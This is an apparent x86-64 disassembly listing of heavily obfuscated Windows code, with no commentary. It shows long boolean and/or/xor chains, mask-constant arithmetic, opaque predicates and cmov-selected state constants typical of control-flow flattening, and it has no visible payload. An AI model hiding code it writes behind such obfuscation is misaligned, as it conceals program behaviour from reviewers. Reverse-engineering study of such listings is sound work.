movzx r11d, byte [rbp + 0x28]
xor dl, r11b
movzx ebx, byte [rbp + 0x2c]
xor bl, r11b
or r8b, al
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
movzx ecx, byte [rbp + 0x3c]
or cl, r9b
xor cl, 1
movzx esi, byte [rbp + 0x3b]
or r11b, sil
xor r11b, 1
mov eax, ecx
and al, r11b
xor r11b, cl
or r11b, al
mov ecx, r11d
mov eax, r9d
xor cl, r9b
or r11b, r9b
xor r11b, 1
or r11b, cl
mov r10d, r11d
xor r10b, 1
movzx ecx, byte [rbp + 0x30]
or cl, r9b
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
or bl, cl
and dl, r9b
xor dl, 1
mov eax, ebx
or al, dl
xor dl, bl
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, sil
mov r9d, ecx
xor r9b, 1
mov edx, r11d
or dl, r10b
mov edi, r10d
xor dil, r11b
and dil, r10b
mov ebx, edi
and dil, dl
xor dl, 1
mov esi, r9d
or sil, cl
xor bl, 1
mov eax, edx
xor al, bl
and al, dl
and bl, dl
mov edx, esi
xor dl, 1
or bl, dil
mov edi, eax
and dil, bl
xor bl, al
mov r14d, ecx
xor r14b, r9b
and r14b, cl
or bl, dil
and dl, sil
xor dl, 1
mov edi, edx
xor dil, sil
or dl, sil
xor dl, 1
or dl, dil
mov eax, edx
xor al, 1
and al, r14b
xor r14b, 1
and dl, r14b
or dl, al
mov eax, esi
and al, r14b
xor r14b, sil
or r14b, al
xor r14b, 1
mov eax, edx
and al, r14b
xor r14b, dl
or r14b, al
mov eax, r14d
xor al, 1
or al, bl
xor bl, 1
or bl, r14b
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
and r9b, r10b
or r10b, cl
xor r10b, 1
and cl, r11b
or cl, r9b
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
and cl, bl
xor bl, 1
and dl, bl
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov r11d, edx
xor r11b, 1
mov r9d, r11d
and r9b, dl
mov ecx, r9d
xor cl, 1
mov r10d, r11d
xor r10b, r9b
or cl, dl
xor cl, 1
or cl, r10b
mov ebx, ecx
xor bl, 1
and bl, cl
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov esi, eax
and sil, cl
xor cl, al
or cl, sil
mov esi, ecx
xor sil, 1
and r9b, r11b
or r9b, r10b
and sil, r9b
mov eax, r9d
xor al, 1
and cl, al
or cl, sil
mov r10d, ebx
xor r10b, dl
or bl, dl
xor bl, 1
or bl, r10b
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, eax
and dl, r9b
mov r10d, eax
and r10b, dl
xor dl, al
or dl, r10b
xor dl, 1
or al, r9b
xor al, 1
mov r9d, edx
and r9b, al
xor al, dl
or al, r9b
mov edx, eax
xor dl, 1
mov r11d, ecx
and r11b, bl
xor r11b, 1
mov r9d, ebx
xor r9b, r11b
or r11b, bl
xor r11b, 1
or r11b, r9b
mov r9d, r11d
xor r9b, 1
mov r10d, eax
and r10b, dl
mov esi, eax
and sil, r10b
xor r10b, al
or r10b, sil
or bl, cl
mov esi, ebx
xor sil, 1
or dl, al
mov eax, r11d
and al, r9b
mov ecx, eax
xor cl, 1
xor al, r11b
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, sil
xor dl, r10b
and cl, bl
or cl, al
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, edx
xor al, 1
and dl, r10b
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, edx
xor bl, 1
and bl, dl
xor bl, 1
mov esi, edx
xor sil, bl
or bl, dl
mov eax, r10d
xor al, 1
xor bl, 1
or bl, sil
mov edx, ebx
and dl, cl
xor cl, 1
xor bl, 1
and bl, cl
or bl, dl
mov ecx, r11d
xor cl, al
and cl, r11b
and r10b, r9b
and al, r11b
or al, r10b
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
xor bl, 1
mov eax, ebx
or al, cl
xor al, 1
xor bl, cl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov ecx, ebx
xor cl, 1
mov eax, ecx
and al, bl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and bl, dl
or dl, cl
and al, cl
or al, bl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
or al, cl
mov edx, ecx
or dl, al
xor al, cl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
or dl, al
xor dl, 1
xor al, dl
mov ecx, eax
xor cl, 1
and cl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ecx
or dl, bl
mov r9d, edx
xor r9b, 1
mov eax, ebx
xor al, dl
and al, bl
and r9b, cl
and dl, bl
or dl, r9b
xor al, 1
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
xor dl, cl
xor cl, dl
and cl, dl
mov ebx, r8d
xor bl, 1
mov edx, ebx
and dl, r8b
mov eax, ebx
xor al, dl
xor dl, 1
or dl, r8b
xor dl, 1
or dl, al
mov eax, ecx
xor al, 1
mov r10d, eax
and r10b, cl
mov r8d, eax
and r8b, r10b
xor r10b, al
or r10b, r8b
mov r8d, r10d
xor r8b, 1
xor r10b, dl
xor dl, 1
or dl, r8b
xor dl, 1
mov r8d, edx
and r8b, r10b
xor r10b, dl
or r10b, r8b
mov r9d, r10d
xor r9b, 1
xor al, bl
xor al, 1
mov edx, ecx
or dl, bl
xor dl, 1
or dl, al
xor cl, bl
xor cl, 1
xor bl, cl
and bl, cl
mov ecx, ebx
and bl, dl
xor dl, 1
xor cl, 1
mov eax, edx
xor al, cl
and al, dl
and cl, dl
or cl, bl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r8d, ecx
xor r8b, 1
mov r11d, r10d
or r11b, r9b
mov eax, r11d
xor al, 1
mov ebx, r8d
or bl, cl
mov edx, r11d
and dl, al
xor r11b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r11b
mov r11d, edx
and r11b, r10b
xor dl, 1
and dl, r9b
or dl, r11b
mov r11d, r10d
xor r11b, al
or al, r10b
xor al, 1
or al, r11b
xor dl, 1
mov r11d, edx
xor r11b, al
or dl, al
mov eax, ebx
xor al, 1
xor dl, 1
or dl, r11b
and al, bl
xor al, 1
mov r11d, eax
xor r11b, bl
or al, bl
xor al, 1
or al, r11b
xor al, cl
xor al, 1
mov r11d, ecx
and r11b, bl
xor bl, cl
or bl, r11b
xor bl, 1
mov r11d, eax
and r11b, bl
xor bl, al
or bl, r11b
xor bl, 1
mov eax, ebx
or al, dl
xor bl, dl
xor bl, 1
and bl, dl
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
and r8b, r9b
or r9b, cl
and cl, r10b
or cl, r8b
xor cl, 1
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, 1
and cl, dl
or dl, al
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x4c65be15
mov ebx, 0x23a85c3e
cmovne ecx, ebx
test al, 1
mov eax, ecx
mov ebx, 0x4c65be15
cmovne eax, ebx
test dl, 1
cmovne eax, ecx
mov ecx, dword [rbp + 0x18]
mov word [rbp + 0xce], cx
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov eax, dword [rbp + 0x10]
mov dword [rbp + 0xd4], eax
mov rax, qword [rbp + 0x58]
mov eax, dword [0x1400a6668]
lea r9d, [rax - 1]
imul r9d, eax
mov r11d, r9d
not r11d
mov eax, r11d
and eax, r9d
mov ecx, r11d
and ecx, eax
xor eax, r11d
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x1e468283
and eax, 0xe1b97d7c
or eax, ecx
mov edx, eax
xor edx, 0x61a11944
xor eax, 0xa000082
and eax, 0x8a1864ba
and edx, 0x75e79b45
or edx, eax
mov ecx, edx
xor ecx, 0x8200a
xor edx, 0x34a61800
and edx, 0xbeb65cb0
and ecx, 0x4149a34f
or ecx, edx
mov eax, ecx
xor eax, 0x4149a34f
xor ecx, 0xbeb65cb0
mov edx, r11d
and edx, 0x9ed42553
mov ebx, r9d
and ebx, 0x612bdaac
or ebx, edx
xor ebx, 0x612bdaac
mov edi, ebx
xor edi, r11d
and edi, ebx
mov r10d, edi
not r10d
mov edx, ecx
and edx, 0x2ec9d56
mov ebx, eax
and ebx, 0xfd1362a9
or ebx, edx
mov r8d, r10d
and r8d, 0x2ec9d56
mov edx, edi
and edx, 0xfd1362a9
or edx, r8d
mov esi, ebx
not esi
and esi, edx
not edx
and edx, ebx
or edx, esi
mov ebx, eax
and ebx, 0x85a5b7c0
and ecx, 0x7a5a483f
or ecx, ebx
or eax, edi
and edi, 0x85a5b7c0
and r10d, 0x7a5a483f
or r10d, edi
xor r10d, ecx
not eax
or eax, r10d
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xa94aca82
and ecx, eax
not eax
and eax, 0xa94aca82
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x56b5357d
and ecx, 0xa94aca82
or ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
not ecx
and ecx, 0xfffffffe
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov r14d, ecx
not r14d
and ecx, 0xdfde368a
mov eax, r14d
and eax, 0x2021c975
or eax, ecx
xor eax, 0xdfde368b
and r14d, 1
or r14d, eax
mov eax, r14d
not eax
and eax, 0xc940dec2
and r14d, 0x36bf213d
or r14d, eax
mov edx, r14d
xor edx, 0x229a000c
mov eax, r11d
and eax, 0xead2247c
mov ecx, r9d
mov ebx, r9d
and ebx, 0x152ddb83
or ebx, eax
mov eax, ebx
xor eax, 0x204000
xor ebx, 0x2c00400
mov edi, r11d
or edi, 0xe7ea462a
mov esi, edi
not esi
or ebx, 0x811b145
and ebx, 0xfd9b747
and eax, 0xe0224028
or eax, ebx
and edi, 0xfd9b747
and esi, 0x10040890
or esi, edi
xor esi, eax
mov eax, esi
not eax
and eax, 0x1c9c86e8
and esi, 0xe3637917
or esi, eax
mov eax, esi
xor eax, 0x4883908
mov ebx, r11d
and ebx, 0x2214ad7a
and ecx, 0xddeb5285
or ecx, ebx
mov ebx, ecx
xor ebx, 0xdca85000
xor esi, 0xfb76c0c3
mov edi, esi
and edi, 0x35306f7
and eax, 0xfcacf908
or eax, edi
xor ecx, 0x2100472
and ecx, 0x35306f7
and ebx, 0xfcacf908
or ebx, ecx
xor ebx, eax
not ebx
or ebx, esi
mov esi, ebx
not esi
mov eax, ebx
and eax, 0x6849de92
mov ecx, esi
and ecx, 0x97b6216d
or ecx, eax
mov r10d, r14d
xor r10d, 0xc940dec2
mov eax, r10d
and eax, 0x5d25abb3
and edx, 0xa2da544c
or edx, eax
mov eax, ecx
xor eax, 0x8292004c
xor ecx, 0x48018a92
and ecx, 0x5d25abb3
and eax, 0xa2da544c
or eax, ecx
mov r8d, ebx
xor ebx, 0xad8e2e8b
and ebx, esi
xor eax, edx
mov r15d, eax
xor r15d, r10d
and r15d, eax
mov r12d, r11d
or r11d, r9d
xor r14d, 0x10310124
and r8d, 0x3db13ac
and esi, 0xfc24ec53
or esi, r8d
mov ecx, esi
xor ecx, 0xfc24ec53
xor esi, 0x51aac2d8
and esi, ecx
mov edi, r10d
or edi, 0x5271d174
or r14d, 0x24822400
and r14d, 0x34f37524
and r10d, 0x42008050
or r10d, r14d
mov ecx, edi
not ecx
and edi, 0x34f37524
and ecx, 0x890c0a8b
or ecx, edi
xor ecx, r10d
mov edi, esi
not edi
mov edx, edi
and edx, 0xfb99d54f
and esi, 0x4662ab0
or esi, edx
mov edx, ebx
not edx
or edi, edx
and edx, 0xfb99d54f
and ebx, 0x4662ab0
or ebx, edx
xor ebx, esi
not edi
or edi, ebx
mov edx, ecx
not edx
and edx, 0xc94015e9
and ecx, 0x36bfea16
or ecx, edx
mov edx, edi
not edx
and edx, 0xc94015e9
and edi, 0x36bfea16
or edi, edx
xor edi, ecx
mov ecx, r15d
not ecx
and ecx, edi
not edi
mov eax, r15d
xor eax, edi
and eax, r15d
and edi, r15d
or edi, ecx
mov edx, eax
not edx
mov ebx, edi
not ebx
mov esi, edx
and esi, 0x3b5ec80
and eax, 0xfc4a137f
or eax, esi
or edx, ebx
and ebx, 0x3b5ec80
and edi, 0xfc4a137f
or edi, ebx
xor edi, eax
not edx
or edx, edi
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x286940bc
mov ecx, edx
and ecx, 0xd796bf43
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x38f8b4f0
and ecx, 0xc7074b0f
or ecx, ebx
mov ebx, ecx
xor ebx, 0x606c0891
xor ecx, 0x1091640c
and ebx, 0x606c98d1
and ecx, 0x9f93672e
or ecx, ebx
mov ebx, ecx
xor ebx, 0xb74f1910
xor ecx, 0x9f93672e
and ecx, ebx
and eax, 0xd3b62fb3
and edx, 0x2c49d04c
or edx, eax
mov eax, edx
xor eax, 0x2c49d04c
xor edx, 0x821406b1
and edx, 0xa61d06b9
mov ebx, eax
and ebx, 0x59e2f946
or ebx, edx
xor ebx, 0x713e8778
and eax, 0xd72381c1
or eax, ebx
mov edx, eax
not edx
and edx, 0x3380deea
and eax, 0xcc7f2115
or eax, edx
mov edx, eax
xor edx, 0x212010
xor eax, 0x3380deea
mov ebx, ecx
xor ebx, eax
and ebx, ecx
mov edi, ecx
not edi
and edi, 0xef5e598f
and ecx, 0x10a1a670
or ecx, edi
and eax, 0xef5e598f
and edx, 0x10a1a670
or edx, eax
xor edx, ecx
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
or edx, 0x86f7e0a1
mov ebx, edx
not ebx
or eax, 0x79081f5e
mov ecx, eax
not ecx
and edx, 0x6371c162
and ebx, 0x18081e1c
or ebx, edx
and eax, 0x6371c162
and ecx, 0x84862081
or ecx, eax
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0x51d46160
and ecx, 0xae2b9e9f
or ecx, eax
and r9d, 0x376af15f
and r12d, 0xc8950ea0
or r12d, r9d
mov eax, r12d
xor eax, 0x520b15c
xor r12d, 0x900c00
and r12d, 0x32da4c03
and eax, 0xcd25b3fc
or eax, r12d
mov edx, eax
xor edx, 0x800522a8
xor eax, 0x22584802
and eax, 0x6f78d956
and edx, 0x908726a9
or edx, eax
mov r10d, edx
xor r10d, 0x908726a9
mov r8d, edx
xor r8d, 0x6f78d956
mov edi, r11d
not edi
mov esi, r11d
and esi, 0x56c01d99
xor r11d, 0xb5c03d78
and r11d, edi
and edi, 0xa93fe266
or edi, esi
xor edx, 0xdab8e42e
mov ebx, edx
and ebx, r8d
and edx, r10d
mov esi, ebx
not esi
mov r9d, esi
and r9d, 0x3598b788
and ebx, 0xca674877
or ebx, r9d
mov eax, edx
not eax
or esi, eax
and eax, 0x3598b788
and edx, 0xca674877
or edx, eax
mov eax, edi
xor eax, 0xa93fe266
xor edx, ebx
mov ebx, edi
xor ebx, 0x1cffdf1e
and ebx, eax
not esi
or esi, edx
mov edx, ebx
and edx, r11d
xor r11d, ebx
or r11d, edx
mov edx, esi
not edx
and edx, r11d
not r11d
and r11d, esi
or r11d, edx
mov edx, r10d
and edx, 0x20e862be
and r8d, 0xdf179d41
or r8d, edx
xor edi, 0x56c01d99
or r10d, edi
and edi, 0x20e862be
and eax, 0xdf179d41
or eax, edi
xor eax, r8d
not r10d
or r10d, eax
not r10d
mov eax, r11d
and eax, r10d
xor r10d, r11d
or r10d, eax
mov eax, r10d
not eax
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xe130723c
mov edi, ecx
and edi, 0x1ecf8dc3
or edi, ebx
mov ebx, edx
and ebx, 0xbbdec7a4
and ecx, 0x4421385b
or ecx, ebx
mov ebx, r10d
and ebx, 0xe130723c
xor ecx, 0xbbdec7a4
or ecx, eax
and eax, 0x1ecf8dc3
or eax, ebx
mov ebx, dword [0x1400a6664]
xor eax, edi
not eax
or eax, edx
mov edi, eax
not edi
not ecx
or edx, r10d
not edx
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edx
not ecx
mov esi, edi
xor esi, ecx
and esi, edi
and eax, 0xfde3fa2b
and edi, 0x21c05d4
or edi, eax
and ecx, 0xfde3fa2b
and edx, 0x21c05d4
or edx, ecx
xor edx, edi
mov eax, esi
and eax, edx
xor edx, esi
or edx, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0xa0fba555
mov ecx, edi
and ecx, edx
or edi, edx
and edx, 0x5f045aaa
or edx, eax
xor edx, 0x5f045aaa
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
not edx
and ecx, 0xa0769bf6
and edx, 0x5f896409
or edx, ecx
mov ecx, edx
xor ecx, 0x4b012000
mov eax, edi
not eax
xor edx, 0xa0769bf6
mov esi, edx
or esi, edi
not esi
and edx, 0x34de57ab
and ecx, 0xcb21a854
or ecx, edx
and edi, 0x34de57ab
and eax, 0xcb21a854
or eax, edi
xor eax, ecx
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x38c57bf8
and eax, 0xc73a8407
or eax, ecx
mov ecx, eax
xor ecx, 0xc73a8407
xor eax, 0x38c57bf8
and eax, ecx
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
cmp eax, 0xffffffff
setne r11b
sete r10b
cmp ebx, 0xa
setl r8b
cmp ebx, 9
setg r14b
mov ecx, r14d
xor cl, r10b
xor cl, 1
mov eax, r11d
or al, r14b
xor al, 1
or al, cl
xor al, 1
mov ecx, r11d
and cl, r14b
mov ebx, r8d
and bl, r10b
or bl, cl
mov ecx, ebx
xor cl, r14b
and cl, bl
xor cl, al
mov ebx, ecx
xor bl, 1
and al, bl
mov edx, eax
xor dl, 1
xor al, cl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, r14b
mov ebx, edx
and bl, r8b
or bl, al
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov r9d, ebx
xor r9b, 1
xor r10b, r11b
mov esi, r10d
xor sil, 1
or r11b, sil
mov ecx, r11d
xor cl, 1
mov edx, r10d
xor dl, cl
mov eax, edx
xor al, r10b
and al, dl
and r11b, cl
mov edx, r11d
and dl, cl
xor r11b, cl
or r11b, dl
and r10b, r11b
xor r11b, 1
and r11b, sil
or r11b, r10b
mov ecx, eax
xor cl, 1
mov edx, r11d
xor dl, 1
and r11b, cl
or cl, dl
xor cl, 1
and dl, al
or dl, r11b
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor r14b, r8b
and r14b, r8b
and dl, 1
mov eax, edx
xor al, 1
or al, r14b
xor r14b, 1
xor al, 1
or r14b, dl
xor r14b, 1
mov ecx, eax
and cl, r14b
xor r14b, al
or r14b, cl
mov r8d, ebx
and r8b, r9b
mov eax, ebx
and al, r8b
xor r8b, bl
or r8b, al
mov r10d, r8d
xor r10b, 1
or r9b, bl
mov r13d, r9d
xor r13b, 1
mov ecx, r10d
and cl, r8b
mov edx, r9d
and dl, r13b
mov ebx, r10d
and bl, cl
xor cl, r10b
or cl, bl
mov ebx, r9d
and bl, dl
xor dl, r9b
or dl, bl
xor dl, cl
mov ecx, r8d
xor cl, r13b
or r13b, r8b
xor r13b, 1
or r13b, cl
xor r13b, 1
mov ecx, edx
and cl, r13b
xor r13b, dl
or r13b, cl
mov r9d, r13d
xor r9b, 1
mov r11d, r14d
xor r11b, 1
mov r12d, r14d
or r12b, r11b
mov edi, r12d
xor dil, 1
and dil, r14b
mov edx, r11d
and dl, r14b
mov ecx, r11d
and cl, dl
xor dl, r11b
or dl, cl
xor dl, 1
mov esi, edx
xor sil, r14b
or dl, r14b
or r14b, r12b
and r12b, r11b
or r12b, dil
xor r12b, 1
mov ecx, r14d
xor cl, r12b
or r12b, r14b
xor r12b, 1
or r12b, cl
mov ecx, r9d
and cl, r13b
mov ebx, r9d
xor bl, cl
xor cl, 1
or cl, r13b
xor cl, 1
or cl, bl
mov r15d, ecx
xor r15b, 1
and cl, r13b
mov r11d, r12d
xor r11b, 1
mov edi, r11d
and dil, r12b
mov r14d, r11d
and r14b, dil
xor dil, r11b
xor r11b, r9b
mov ebx, r12d
xor bl, r13b
or r13b, r12b
and bl, r12b
or r12b, r9b
and r9b, r15b
or cl, r9b
xor cl, 1
or cl, r15b
or r10b, r8b
xor r10b, 1
mov eax, r8d
and al, r10b
xor r10b, r8b
mov r8d, ecx
xor r8b, 1
or r10b, al
or dil, r14b
mov r14d, edi
xor r14b, 1
mov r9d, edi
xor r9b, r14b
or r14b, dil
mov eax, r10d
xor al, 1
xor r14b, 1
or r14b, r9b
xor dl, 1
or dl, sil
mov r9d, r8d
xor r9b, r10b
and al, r10b
xor al, 1
mov esi, eax
xor sil, r10b
or al, r10b
xor al, 1
or al, sil
xor r9b, 1
or r9b, cl
and cl, al
xor al, 1
and al, r8b
mov r8d, r9d
xor r8b, 1
or al, cl
mov r10d, eax
xor r10b, 1
and al, r9b
or r9b, r10b
and r10b, r8b
mov ecx, r14d
xor cl, 1
or r10b, al
xor r10b, 1
mov r8d, r9d
xor r8b, r10b
or r10b, r9b
mov eax, edx
xor al, 1
xor r10b, 1
or r10b, r8b
mov r8d, r14d
xor r8b, dl
or dl, cl
or cl, al
xor cl, 1
or cl, r8b
xor dl, 1
or al, r14b
xor al, 1
mov r8d, edx
and r8b, al
xor al, dl
mov r9d, ecx
xor r9b, 1
or al, r8b
mov edx, eax
xor dl, 1
and dl, r9b
and cl, al
or cl, dl
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
not cl
or cl, dl
mov edx, r10d
xor dl, 1
and r10b, dl
xor dl, r10b
mov eax, edx
xor al, 1
and dl, r10b
mov r8d, edx
and r8b, al
xor dl, al
and cl, 1
or dl, r8b
mov r10d, ecx
xor r10b, dl
and cl, r10b
and r10b, dl
xor cl, 1
xor r10b, 1
mov edx, ecx
xor dl, r10b
or r10b, cl
xor r10b, 1
or r10b, dl
xor r13b, 1
or r13b, r11b
xor bl, 1
mov ecx, ebx
xor cl, r12b
or bl, r12b
xor bl, 1
or bl, cl
mov ecx, r13d
xor cl, bl
xor bl, 1
or bl, r13b
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov r8d, ecx
xor r8b, 1
mov r9d, r8d
or r9b, cl
mov edx, r9d
xor dl, 1
mov ebx, r9d
and bl, dl
xor r9b, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r9b
mov eax, r8d
and al, cl
xor r8b, al
xor al, 1
or al, cl
xor al, 1
or al, r8b
mov r8d, ebx
xor r8b, 1
and r8b, al
xor al, 1
and al, bl
or al, r8b
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
or cl, al
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, r10d
xor dl, 1
mov ebx, ecx
and bl, dl
or cl, r10b
and r10b, al
or r10b, bl
xor r10b, 1
or r10b, dl
xor cl, 1
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
and dl, r10b
xor r10b, 1
xor al, 1
mov ecx, r10d
xor cl, al
and cl, r10b
and al, r10b
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x1fd01908
mov ebx, 0x6d008730
cmovne eax, ebx
test cl, 1
mov ecx, 0x1fd01908
cmove eax, ecx
jmp 0x140016160
movzx eax, word [rbp + 0xce]
mov rcx, qword [rbp + 0xa8]
add rcx, 4
mov qword [rbp + 0xb0], rcx
mov rcx, qword [rbp + 0xb0]
cmp ax, word [rcx + 2]
setb byte [rbp + 0xbf]
mov eax, dword [0x1400a6668]
lea ebx, [rax - 1]
imul ebx, eax
mov r8d, ebx
mov r9d, ebx
mov r10d, ebx
xor r10d, 0x6ded7690
and r10d, ebx
not ebx
mov edi, ebx
and edi, 0x520e0
and r8d, 0x40301b0d
or r8d, edi
mov eax, r8d
xor eax, 0x40201101
xor r8d, 0x2acd04d2
mov esi, ebx
or esi, 0x40353bed
mov edi, esi
not edi
and r8d, 0x2add0ede
and eax, 0x40203121
or eax, r8d
and esi, 0x2add0ede
and edi, 0x9502c000
or edi, esi
xor edi, eax
mov eax, edi
not eax
and eax, 0xbfcac412
and edi, 0x40353bed
or edi, eax
mov eax, edi
not eax
and eax, 0x71bc72df
and edi, 0x8e438d20
or edi, eax
mov eax, edi
xor eax, 0x8a418c00
and eax, 0xcb59bc8c
xor edi, 0x451a31ac
or edi, eax
mov eax, edi
not eax
and eax, 0xe9008cdc
and edi, 0x16ff7323
or edi, eax
mov eax, edi
xor eax, 0x16ff7323
xor edi, 0xa0000054
mov edx, ebx
and edx, 0xb4dd4df9
and r9d, 0x4b22b206
or r9d, edx
mov edx, r9d
xor edx, 0x220202
and edx, 0x34a64373
xor r9d, 0x7f84f175
or r9d, edx
mov edx, r9d
not edx
and edx, 0xb0e0999c
and r9d, 0x4f1f6663
or r9d, edx
mov edx, r9d
xor edx, 0x49146600
xor r9d, 0xb0e0999c
mov esi, eax
xor esi, r9d
and esi, eax
and edi, 0xb62b1077
and eax, 0x49d4ef88
or eax, edi
and r9d, 0xb62b1077
and edx, 0x49d4ef88
or edx, r9d
xor edx, eax
mov eax, esi
not eax
mov edi, edx
not edi
mov r8d, eax
and r8d, 0x9a448b7b
and esi, 0x65bb7484
or esi, r8d
or eax, edi
and edi, 0x9a448b7b
and edx, 0x65bb7484
or edx, edi
xor edx, esi
not eax
or eax, edx
mov edx, eax
mov edi, eax
xor edi, 0xd98ce379
and edi, eax
not eax
and eax, 0x5008e058
and edx, 0x89840321
or edx, eax
mov eax, edx
xor eax, 0x8040100
xor edx, 0x767bfcde
mov esi, edi
not esi
mov r8d, edx
and r8d, 0xc1b3427f
and eax, 0x180ca100
or eax, r8d
or edx, esi
and esi, 0xc1b3427f
and edi, 0x3e4cbd80
or edi, esi
xor edi, eax
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0xc2053f0a
and edx, 0x3dfac0f5
or edx, eax
mov eax, edx
xor eax, 0xd0d060ff
xor edx, 0x2f2f9f00
mov edi, edx
and edi, 0x34781e37
and edx, eax
and eax, 0xcb87e1c8
or eax, edi
xor eax, 0xcb87e1c8
mov edi, eax
and edi, edx
xor eax, edx
or eax, edi
mov edi, eax
not edi
or edi, 0x2f03e5b9
mov esi, edi
not esi
or eax, 0xd0fc1a46
mov edx, eax
not edx
and edi, 0xdaa6f70e
and esi, 0x580840
or esi, edi
and eax, 0xdaa6f70e
and edx, 0x250100b1
or edx, eax
xor edx, esi
mov esi, edx
not esi
and edx, 0x1abf69aa
mov eax, esi
and eax, 0xe5409655
or eax, edx
xor eax, 0xca4373ec
and esi, 0xd0fc1a46
or esi, eax
mov r8d, esi
not r8d
and ebx, 0x6ded7690
mov eax, ebx
and eax, r10d
xor r10d, ebx
or r10d, eax
mov eax, r10d
not eax
and eax, 0xd6a2b06a
and r10d, 0x295d4f95
or r10d, eax
mov ecx, r10d
xor ecx, 0x44b03905
xor r10d, 0x3308043a
mov eax, ecx
and eax, 0x2f03e5b9
and r10d, 0x7338153f
and ecx, 0x8cc7eac0
or ecx, r10d
xor ecx, 0x5c3bf086
mov ebx, eax
and ebx, ecx
xor ecx, eax
or ecx, ebx
mov eax, ecx
xor eax, 0x856807a5
and eax, ecx
not ecx
and ecx, 0x856807a5
mov ebx, ecx
and ebx, eax
xor eax, ecx
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0xb0acdd36
and eax, 0x4f5322c9
or eax, ecx
mov ecx, eax
xor ecx, 0xc83a212c
xor eax, 0x25808090
and ecx, 0xd87e7b2f
and eax, 0x278184d0
or eax, ecx
mov ecx, eax
xor ecx, 0x278184d0
xor eax, 0xd87e7b2f
mov ebx, eax
